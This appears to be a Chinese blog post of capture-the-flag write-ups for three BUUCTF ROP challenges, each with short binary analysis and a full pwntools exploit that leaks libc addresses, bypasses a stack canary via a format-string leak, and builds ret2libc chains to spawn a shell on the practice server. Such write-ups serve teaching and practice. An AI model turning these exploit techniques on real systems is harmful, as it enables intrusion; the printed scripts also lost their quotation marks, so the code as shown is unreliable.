buuctf ---- ROP集合(未完)

buuctf ---------- babyrop1

NX栈不可执行开启

使用32位IDA查看程序

读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节,可以通过输入 绕过字符串比较

a1可以是255,造成buf溢出。

编写exp

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",28966)
elf=ELF("pwn")

write_plt=elf.plt[write]
puts_got=elf.got[puts]
start=0x080485A0
main=0x08048825

payload="x00"+"xff"*(0x2c-0x25)
io.sendline(payload)
io.recvuntil("Correct
")
payload2=a*0xE7+a*4+p32(write_plt)+p32(start)+p32(1)+p32(puts_got)+p32(4)
io.send(payload2)
puts_got=u32(io.recv(4))


libc=LibcSearcher(puts,puts_got)
base=puts_got-libc.dump(puts)
system=base+libc.dump(system)
binsh=base+libc.dump(str_bin_sh)

payload="x00"+"xff"*(0x2c-0x25)


io.sendline(payload)
io.recvuntil("Correct
")
payload2=a*0xE7+a*4+p32(system)+p32(0)+p32(binsh)
io.sendline(payload2)
io.interactive()

buuctf ---------- babyrop2

使用64位的IDA查看

思路:buf只有0x20,却要读入0x100,会发生溢出。构造system(‘/bin/sh’),利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址。

编写exp

from pwn import *
from LibcSearcher import *
context.log_level = debug

io=remote(node4.buuoj.cn,29857)
elf = ELF(babyrop2)

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt[printf]
read_got = elf.got[read]
main_plt = elf.sym[main]

payload = a*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

io.recvuntil("name? ")
io.sendline(payload)

read_addr = u64(io.recvuntil(x7f)[-6:].ljust(8, x00))
print hex(read_addr)

#利用libcsearcher库去查找匹配的libc版本
libc = LibcSearcher(read, read_addr)
#计算程序里的偏移量
libc_base = read_addr - libc.dump(read)

#计算程序里system和/bin/sh的地址
sys_addr = libc_base + libc.dump(system)
bin_sh = libc_base + libc.dump(str_bin_sh)

payload = a*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()

buuctf ---------- bjdctf_2020_babyrop2

存在canary保护。

使用64位IDA查看main函数

init函数调用put函数输出提示

gift函数有printf函数,可以通过格式化字符串漏洞泄漏canary的值。

而vuln函数存在栈溢出漏洞,通过栈溢出漏洞进行程序劫持

编写exp

from pwn import *
from LibcSearcher import *
context.log_level=debug

io=remote(node4.buuoj.cn,26126)

elf=ELF(./bjdctf_2020_babyrop2)
pop_rdi=0x00400993
puts_got=elf.got[puts]
puts_plt=elf.plt[puts]
vuln_addr=elf.symbols[vuln]

io.recvuntil("Ill give u some gift to help u!")
io.sendline(%7$p)
io.recvuntil(0x)
canary=int(io.recv(16),16)
print([+]canary: ,hex(canary))

payload=a*(0x20-0x8)+p64(canary)+b*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil(Pull up your sword and tell me u story!)
io.sendline(payload)
io.recv()

puts_addr=u64(io.recv(6).ljust(8,x00))
libc=LibcSearcher(puts,puts_addr)
libc_base=puts_addr-libc.dump(puts)
system_addr=libc_base+libc.dump(system)
bin_addr=libc_base+libc.dump(str_bin_sh)

io.recvuntil(Pull up your sword and tell me u story!)
payload=a*(0x20-0x8)+p64(canary)+b*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
io.sendline(payload)

io.interactive()
经验分享 程序员 微信小程序 职场和发展